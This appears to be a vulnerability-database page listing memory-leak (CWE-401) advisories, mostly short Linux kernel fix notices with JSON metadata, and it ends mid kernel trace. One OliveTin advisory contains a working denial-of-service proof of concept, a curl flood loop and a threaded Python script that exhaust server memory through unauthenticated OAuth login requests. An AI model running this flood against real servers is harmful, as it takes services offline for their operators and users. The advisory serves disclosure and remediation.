Common Weakness Enumeration

CWE-401

Allowed

Missing Release of Memory after Effective Lifetime

Abstraction: Variant · Status: Draft

The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.

2082 vulnerabilities reference this CWE, most recent first.

GHSA-XPG8-626Q-5495

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2025-09-22 21:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

firmware: sysfb: fix platform-device leak in error path

Make sure to free the platform device also in the unlikely event that registration fails.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-49283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-26T07:01:05Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nfirmware: sysfb: fix platform-device leak in error path\n\nMake sure to free the platform device also in the unlikely event that\nregistration fails.",
  "id": "GHSA-xpg8-626q-5495",
  "modified": "2025-09-22T21:30:16Z",
  "published": "2025-09-22T21:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-49283"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/202c08914ba50dd324e42d5ad99535a89f242560"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b3e38f939ab4d0d86f56bff3362c3f88c4b2ad32"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/bb7fcbe80a013dc883181dc818c407d38558f76c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/fed4df558b8cdb6f3beea38a7c977f118f082b0d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPGF-3R4F-4546

Vulnerability from github – Published: 2025-06-18 12:30 – Updated: 2025-11-14 18:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

media: pvrusb2: fix memory leak in pvr_probe

The error handling code in pvr2_hdw_create forgets to unregister the v4l2 device. When pvr2_hdw_create returns back to pvr2_context_create, it calls pvr2_context_destroy to destroy context, but mp->hdw is NULL, which leads to that pvr2_hdw_destroy directly returns.

Fix this by adding v4l2_device_unregister to decrease the refcount of usb interface.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-49982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-18T11:15:25Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: pvrusb2: fix memory leak in pvr_probe\n\nThe error handling code in pvr2_hdw_create forgets to unregister the\nv4l2 device. When pvr2_hdw_create returns back to pvr2_context_create,\nit calls pvr2_context_destroy to destroy context, but mp-\u003ehdw is NULL,\nwhich leads to that pvr2_hdw_destroy directly returns.\n\nFix this by adding v4l2_device_unregister to decrease the refcount of\nusb interface.",
  "id": "GHSA-xpgf-3r4f-4546",
  "modified": "2025-11-14T18:31:23Z",
  "published": "2025-06-18T12:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-49982"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2fe46195d2f0d5d09ea65433aefe47a4d0d0ff4d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/466b67c0543b2ae67814d053f6e29b39be6b33bb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/491762b3250fb06a0c97b5198656ea48359eaeed"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/945a9a8e448b65bec055d37eba58f711b39f66f0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ba7dd8a9686a61a34b3a7b922ce721378d4740d0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/bacb37bdc2a21c8f7fdc83dcc0dea2f4ca1341fb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c02d2a91a85c4c4d05826cd1ea74a9b8d42e4280"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f2f6e67522916f53ad8ccd4dbe68dcf76e9776e5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPXJ-F2FM-RQCH

Vulnerability from github – Published: 2026-07-30 14:24 – Updated: 2026-07-30 14:24
VLAI
Summary
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
Details

Summary

OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.

This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.

Affected Versions

  • All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)

Details

In service/internal/auth/otoauth2/restapi_auth_oauth2.go:

type OAuth2Handler struct {
    cfg                 *config.Config
    mu                  sync.RWMutex
    registeredStates    map[string]*oauth2State  // NEVER cleaned up
    registeredProviders map[string]*oauth2.Config
}

The HandleOAuthLogin handler adds a new state on every request:

func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
    state, _ := randString(16)  // 24-byte base64 string
    // ...
    h.mu.Lock()
    h.registeredStates[state] = &oauth2State{
        providerConfig: provider,
        providerName:   providerName,
        Username:       "",
    }
    h.mu.Unlock()
    // ... redirect to OAuth2 provider
}

The HandleOAuthCallback handler updates existing states but never removes them:

func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
    // ...
    h.mu.Lock()
    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes
    h.registeredStates[state].Usergroup = ...
    h.mu.Unlock()
}

There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.

Memory Impact Per State

Each map entry consists of: - Key: ~24 bytes (base64 string) - Value: *oauth2State struct containing: - providerConfig *oauth2.Config (pointer, 8 bytes + shared config) - providerName string (~8-16 bytes) - Username string (empty initially) - Usergroup string (empty initially) - Go map overhead: ~100-150 bytes per entry

Estimated: ~200 bytes per state entry

At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.

Attack Vector

The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.

PoC

Prerequisites

  • OliveTin instance with at least one OAuth2 provider configured
  • Network access to /oauth/login

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false

authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
  github:
    clientId: "test-client-id"
    clientSecret: "test-client-secret"

actions:
  - title: noop
    shell: echo "ok"

Step 1: Baseline health check

curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK

curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)

Step 2: Flood with state-creation requests

# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
  curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
  # Throttle to avoid connection limits
  if (( i % 500 == 0 )); then
    wait
    echo "Sent $i requests..."
  fi
done
wait
echo "Flood complete"

Step 3: Python PoC for sustained memory exhaustion

#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS

Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""

import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000

def create_state(_):
    """Send /oauth/login to create a new state entry."""
    try:
        requests.get(
            f"{TARGET}/oauth/login?provider={PROVIDER}",
            allow_redirects=False,
            timeout=5
        )
        return True
    except Exception:
        return False

def check_health():
    """Check if the server is still responsive."""
    try:
        r = requests.get(f"{TARGET}/readyz", timeout=5)
        return r.status_code == 200
    except Exception:
        return False

print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()

if not check_health():
    print("[!] Server not reachable")
    sys.exit(1)

start_time = time.time()
total_created = 0

with ThreadPoolExecutor(max_workers=WORKERS) as executor:
    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
        results = list(executor.map(create_state, range(batch_start, batch_end)))
        total_created += sum(results)

        elapsed = time.time() - start_time
        rate = total_created / elapsed if elapsed > 0 else 0
        est_memory = total_created * 200 / 1024 / 1024  # MB

        print(f"  States created: {total_created:>8} | "
              f"Rate: {rate:>6.0f}/s | "
              f"Est. memory: {est_memory:>6.1f} MB | "
              f"Healthy: {check_health()}")

        if not check_health():
            print(f"\n[!] Server became unresponsive after {total_created} states!")
            print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
            break

print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")

Step 4: Verify memory growth (Docker)

docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack

Impact

  • Who is impacted: All OliveTin deployments with any OAuth2 provider configured
  • Attack requirements: Unauthenticated network access to /oauth/login
  • Effect: Gradual memory exhaustion leading to OOM kill or service degradation
  • Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
  • Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.

Suggested Fix

  1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie MaxAge)
  2. Add a maximum state count (e.g., 10,000) with LRU eviction
  3. Clean up states after successful callback
  4. Add periodic garbage collection for expired states
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20251024001301-45f9c18bc3ee"
            },
            {
              "fixed": "0.0.0-20260708075951-ec114e95d297"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:24:53Z",
    "nvd_published_at": "2026-07-29T21:17:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOliveTin\u0027s OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service.\n\nThis is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access \u2014 the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists.\n\n## Affected Versions\n\n- All versions with OAuth2 support, including \u003e= 3000.10.3 (which patched CVE-2026-28789)\n\n## Details\n\nIn `service/internal/auth/otoauth2/restapi_auth_oauth2.go`:\n\n```go\ntype OAuth2Handler struct {\n    cfg                 *config.Config\n    mu                  sync.RWMutex\n    registeredStates    map[string]*oauth2State  // NEVER cleaned up\n    registeredProviders map[string]*oauth2.Config\n}\n```\n\nThe `HandleOAuthLogin` handler adds a new state on every request:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {\n    state, _ := randString(16)  // 24-byte base64 string\n    // ...\n    h.mu.Lock()\n    h.registeredStates[state] = \u0026oauth2State{\n        providerConfig: provider,\n        providerName:   providerName,\n        Username:       \"\",\n    }\n    h.mu.Unlock()\n    // ... redirect to OAuth2 provider\n}\n```\n\nThe `HandleOAuthCallback` handler updates existing states but never removes them:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {\n    // ...\n    h.mu.Lock()\n    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes\n    h.registeredStates[state].Usergroup = ...\n    h.mu.Unlock()\n}\n```\n\nThere is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`.\n\n### Memory Impact Per State\n\nEach map entry consists of:\n- Key: ~24 bytes (base64 string)\n- Value: `*oauth2State` struct containing:\n  - `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config)\n  - `providerName string` (~8-16 bytes)\n  - `Username string` (empty initially)\n  - `Usergroup string` (empty initially)\n- Go map overhead: ~100-150 bytes per entry\n\nEstimated: **~200 bytes per state entry**\n\nAt 1 million states \u2248 **200 MB** of memory consumed.\nAt 10 million states \u2248 **2 GB** of memory consumed.\n\n### Attack Vector\n\nThe `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with at least one OAuth2 provider configured\n- Network access to `/oauth/login`\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"INFO\"\ncheckForUpdates: false\n\nauthOAuth2RedirectUrl: \"http://127.0.0.1:1337/oauth/callback\"\nauthOAuth2Providers:\n  github:\n    clientId: \"test-client-id\"\n    clientSecret: \"test-client-secret\"\n\nactions:\n  - title: noop\n    shell: echo \"ok\"\n```\n\n### Step 1: Baseline health check\n\n```bash\ncurl -i http://127.0.0.1:1337/readyz\n# Expected: 200 OK\n\ncurl -I \"http://127.0.0.1:1337/oauth/login?provider=github\"\n# Expected: 302 Found (redirect to GitHub)\n```\n\n### Step 2: Flood with state-creation requests\n\n```bash\n# Each request creates a new map entry that is never cleaned up\nfor i in $(seq 1 100000); do\n  curl -s -o /dev/null \"http://127.0.0.1:1337/oauth/login?provider=github\" \u0026\n  # Throttle to avoid connection limits\n  if (( i % 500 == 0 )); then\n    wait\n    echo \"Sent $i requests...\"\n  fi\ndone\nwait\necho \"Flood complete\"\n```\n\n### Step 3: Python PoC for sustained memory exhaustion\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: OAuth2 State Memory Exhaustion DoS\n\nDistinct from CVE-2026-28789 (concurrent map crash).\nThis exploits unbounded growth of the registeredStates map.\n\"\"\"\n\nimport requests\nimport time\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://127.0.0.1:1337\"\nPROVIDER = \"github\"\nWORKERS = 50\nTOTAL_REQUESTS = 500000\nBATCH_SIZE = 1000\n\ndef create_state(_):\n    \"\"\"Send /oauth/login to create a new state entry.\"\"\"\n    try:\n        requests.get(\n            f\"{TARGET}/oauth/login?provider={PROVIDER}\",\n            allow_redirects=False,\n            timeout=5\n        )\n        return True\n    except Exception:\n        return False\n\ndef check_health():\n    \"\"\"Check if the server is still responsive.\"\"\"\n    try:\n        r = requests.get(f\"{TARGET}/readyz\", timeout=5)\n        return r.status_code == 200\n    except Exception:\n        return False\n\nprint(f\"[*] Target: {TARGET}\")\nprint(f\"[*] Provider: {PROVIDER}\")\nprint(f\"[*] Total requests: {TOTAL_REQUESTS}\")\nprint(f\"[*] Workers: {WORKERS}\")\nprint()\n\nif not check_health():\n    print(\"[!] Server not reachable\")\n    sys.exit(1)\n\nstart_time = time.time()\ntotal_created = 0\n\nwith ThreadPoolExecutor(max_workers=WORKERS) as executor:\n    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):\n        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)\n        results = list(executor.map(create_state, range(batch_start, batch_end)))\n        total_created += sum(results)\n\n        elapsed = time.time() - start_time\n        rate = total_created / elapsed if elapsed \u003e 0 else 0\n        est_memory = total_created * 200 / 1024 / 1024  # MB\n\n        print(f\"  States created: {total_created:\u003e8} | \"\n              f\"Rate: {rate:\u003e6.0f}/s | \"\n              f\"Est. memory: {est_memory:\u003e6.1f} MB | \"\n              f\"Healthy: {check_health()}\")\n\n        if not check_health():\n            print(f\"\\n[!] Server became unresponsive after {total_created} states!\")\n            print(f\"[!] Estimated memory consumed: {est_memory:.1f} MB\")\n            break\n\nprint(f\"\\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s\")\n```\n\n### Step 4: Verify memory growth (Docker)\n\n```bash\ndocker stats olivetin-instance --no-stream\n# Observe MEM USAGE growing continuously during the attack\n```\n\n## Impact\n\n- **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured\n- **Attack requirements:** Unauthenticated network access to `/oauth/login`\n- **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation\n- **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops \u2014 a restart is required\n- **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.\n\n## Suggested Fix\n\n1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`)\n2. Add a maximum state count (e.g., 10,000) with LRU eviction\n3. Clean up states after successful callback\n4. Add periodic garbage collection for expired states",
  "id": "GHSA-xpxj-f2fm-rqch",
  "modified": "2026-07-30T14:24:53Z",
  "published": "2026-07-30T14:24:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xpxj-f2fm-rqch"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67437"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/ec114e95d297b806c3ca0c37bc139b3c9c517b3f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)"
}

GHSA-XQ7R-X85C-27JM

Vulnerability from github – Published: 2024-08-30 09:31 – Updated: 2026-05-12 12:32
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

netfilter: ctnetlink: use helper function to calculate expect ID

Delete expectation path is missing a call to the nf_expect_get_id() helper function to calculate the expectation ID, otherwise LSB of the expectation object address is leaked to userspace.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-44944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-30T08:15:04Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ctnetlink: use helper function to calculate expect ID\n\nDelete expectation path is missing a call to the nf_expect_get_id()\nhelper function to calculate the expectation ID, otherwise LSB of the\nexpectation object address is leaked to userspace.",
  "id": "GHSA-xq7r-x85c-27jm",
  "modified": "2026-05-12T12:32:06Z",
  "published": "2024-08-30T09:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44944"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/24f407042cf90b0872de667460230d8d50c06c39"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/27662b46f2adaa52c1665a82af4b21c42c4337fd"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5e2c24f7b0911b15c29aefce760bcf770542fb61"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/64c0b8e64be8368617ef08dfc59a3160563a1435"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/66e7650dbbb8e236e781c670b167edc81e771450"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/74de442b8e12a207c07953ee068009a7701aff8f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/782161895eb4ac45cf7cfa8db375bd4766cb8299"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/eb4ca1a97e08ff5b920664ba292e576257e2d184"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1182"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQ93-XR8G-2H7W

Vulnerability from github – Published: 2025-10-04 09:30 – Updated: 2026-06-19 15:33
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

smb: client: fix smbdirect_recv_io leak in smbd_negotiate() error path

During tests of another unrelated patch I was able to trigger this error: Objects remaining on __kmem_cache_shutdown()

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-39929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-04T08:15:44Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix smbdirect_recv_io leak in smbd_negotiate() error path\n\nDuring tests of another unrelated patch I was able to trigger this\nerror: Objects remaining on __kmem_cache_shutdown()",
  "id": "GHSA-xq93-xr8g-2h7w",
  "modified": "2026-06-19T15:33:07Z",
  "published": "2025-10-04T09:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39929"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0991418bf98f191d0c320bd25245fcffa1998c7e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3d7c075c878ac844e33c43e506c2fa27ac7e9689"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5aa69aabcb275a8012265233c7694076ce1d9102"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/922338efaad63cfe30d459dfc59f9d69ff93ded4"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/aa4cf7615328eae44f3b4bf5f4fde3fb390c27c6"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/daac51c7032036a0ca5f1aa419ad1b0471d1c6e0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e7b7a93879558e77d950f1ff9a6f3daa385b33df"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQCP-9P67-2J64

Vulnerability from github – Published: 2025-06-18 12:30 – Updated: 2025-11-17 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

cifs: Fix memory leak when using fscache

If we hit the 'index == next_cached' case, we leak a refcount on the struct page. Fix this by using readahead_folio() which takes care of the refcount for you.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-50107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-18T11:15:40Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: Fix memory leak when using fscache\n\nIf we hit the \u0027index == next_cached\u0027 case, we leak a refcount on the\nstruct page.  Fix this by using readahead_folio() which takes care of\nthe refcount for you.",
  "id": "GHSA-xqcp-9p67-2j64",
  "modified": "2025-11-17T21:31:18Z",
  "published": "2025-06-18T12:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50107"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7105b4047481bc2950fb767cff328d8b75292c0f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ae497726cd090673a4d20ac725ccc2de8067a7a5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c6f62f81b488d00afaa86bae26c6ce9ab12c709e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQJF-H57W-HH6F

Vulnerability from github – Published: 2024-12-27 15:31 – Updated: 2025-09-23 18:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

mm/slub: Avoid list corruption when removing a slab from the full list

Boot with slub_debug=UFPZ.

If allocated object failed in alloc_consistency_checks, all objects of the slab will be marked as used, and then the slab will be removed from the partial list.

When an object belonging to the slab got freed later, the remove_full() function is called. Because the slab is neither on the partial list nor on the full list, it eventually lead to a list corruption (actually a list poison being detected).

So we need to mark and isolate the slab page with metadata corruption, do not put it back in circulation.

Because the debug caches avoid all the fastpaths, reusing the frozen bit to mark slab page with metadata corruption seems to be fine.

[ 4277.385669] list_del corruption, ffffea00044b3e50->next is LIST_POISON1 (dead000000000100) [ 4277.387023] ------------[ cut here ]------------ [ 4277.387880] kernel BUG at lib/list_debug.c:56! [ 4277.388680] invalid opcode: 0000 [#1] PREEMPT SMP PTI [ 4277.389562] CPU: 5 PID: 90 Comm: kworker/5:1 Kdump: loaded Tainted: G OE 6.6.1-1 #1 [ 4277.392113] Workqueue: xfs-inodegc/vda1 xfs_inodegc_worker [xfs] [ 4277.393551] RIP: 0010:__list_del_entry_valid_or_report+0x7b/0xc0 [ 4277.394518] Code: 48 91 82 e8 37 f9 9a ff 0f 0b 48 89 fe 48 c7 c7 28 49 91 82 e8 26 f9 9a ff 0f 0b 48 89 fe 48 c7 c7 58 49 91 [ 4277.397292] RSP: 0018:ffffc90000333b38 EFLAGS: 00010082 [ 4277.398202] RAX: 000000000000004e RBX: ffffea00044b3e50 RCX: 0000000000000000 [ 4277.399340] RDX: 0000000000000002 RSI: ffffffff828f8715 RDI: 00000000ffffffff [ 4277.400545] RBP: ffffea00044b3e40 R08: 0000000000000000 R09: ffffc900003339f0 [ 4277.401710] R10: 0000000000000003 R11: ffffffff82d44088 R12: ffff888112cf9910 [ 4277.402887] R13: 0000000000000001 R14: 0000000000000001 R15: ffff8881000424c0 [ 4277.404049] FS: 0000000000000000(0000) GS:ffff88842fd40000(0000) knlGS:0000000000000000 [ 4277.405357] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 4277.406389] CR2: 00007f2ad0b24000 CR3: 0000000102a3a006 CR4: 00000000007706e0 [ 4277.407589] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 4277.408780] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 4277.410000] PKRU: 55555554 [ 4277.410645] Call Trace: [ 4277.411234] [ 4277.411777] ? die+0x32/0x80 [ 4277.412439] ? do_trap+0xd6/0x100 [ 4277.413150] ? __list_del_entry_valid_or_report+0x7b/0xc0 [ 4277.414158] ? do_error_trap+0x6a/0x90 [ 4277.414948] ? __list_del_entry_valid_or_report+0x7b/0xc0 [ 4277.415915] ? exc_invalid_op+0x4c/0x60 [ 4277.416710] ? __list_del_entry_valid_or_report+0x7b/0xc0 [ 4277.417675] ? asm_exc_invalid_op+0x16/0x20 [ 4277.418482] ? __list_del_entry_valid_or_report+0x7b/0xc0 [ 4277.419466] ? __list_del_entry_valid_or_report+0x7b/0xc0 [ 4277.420410] free_to_partial_list+0x515/0x5e0 [ 4277.421242] ? xfs_iext_remove+0x41a/0xa10 [xfs] [ 4277.422298] xfs_iext_remove+0x41a/0xa10 [xfs] [ 4277.423316] ? xfs_inodegc_worker+0xb4/0x1a0 [xfs] [ 4277.424383] xfs_bmap_del_extent_delay+0x4fe/0x7d0 [xfs] [ 4277.425490] __xfs_bunmapi+0x50d/0x840 [xfs] [ 4277.426445] xfs_itruncate_extents_flags+0x13a/0x490 [xfs] [ 4277.427553] xfs_inactive_truncate+0xa3/0x120 [xfs] [ 4277.428567] xfs_inactive+0x22d/0x290 [xfs] [ 4277.429500] xfs_inodegc_worker+0xb4/0x1a0 [xfs] [ 4277.430479] process_one_work+0x171/0x340 